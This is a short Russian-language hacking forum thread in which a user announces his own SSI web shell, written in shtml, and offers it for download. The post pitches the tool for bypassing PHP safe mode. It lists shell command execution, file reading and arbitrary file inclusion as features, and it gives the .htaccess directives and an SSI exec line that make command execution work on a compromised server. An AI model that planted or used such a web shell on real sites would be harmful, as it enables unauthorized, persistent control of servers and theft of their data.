Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование
http://ah.flybb.ru/

SSI Web Shell by BECHED
http://ah.flybb.ru/topic1908.html
Страница 1 из 1

Автор:  BECHED [ 11-12, 20:17 ]
Заголовок сообщения:  SSI Web Shell by BECHED

SSI Web Shell

Web-шелл, написанный на shtml.
Автор - я.
Может весьма пригодиться, когда в конфигурации PHP стоит Safe-Mode=ON или какие-то функции отключены, то есть php-шелл не полнофункционален.

Функционал:

+ Общая информация
+ Все переменные окружения
+ Выполнение shell-кода
+ Просмотр файлов (cat)
+ SSI-инклуд произвольных файлов

Для того, чтобы mod_include работал, в .htaccess должно быть прописано (если соответствующая конфигурация не установлена в httpd.conf):

Код:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes


Скачать

Автор:  BECHED [ 11-12, 20:39 ]
Заголовок сообщения: 

Надо отметить, что $QUERY_STRING_UNESCAPED в SSI слешируется и htmlspecialchar'ится, поэтому команды лучше вписывать в сам код, добавив строчку:

Код:
<!--exec cmd=">команда<" -->

Автор:  CrazYVeNik [ 11-02, 01:14 ]
Заголовок сообщения: 

404

Автор:  BECHED [ 11-02, 14:34 ]
Заголовок сообщения: 

Уже пашет.

Страница 1 из 1 Часовой пояс: UTC + 3 часа
Powered by phpBB® Forum Software © phpBB Group
http://www.phpbb.com/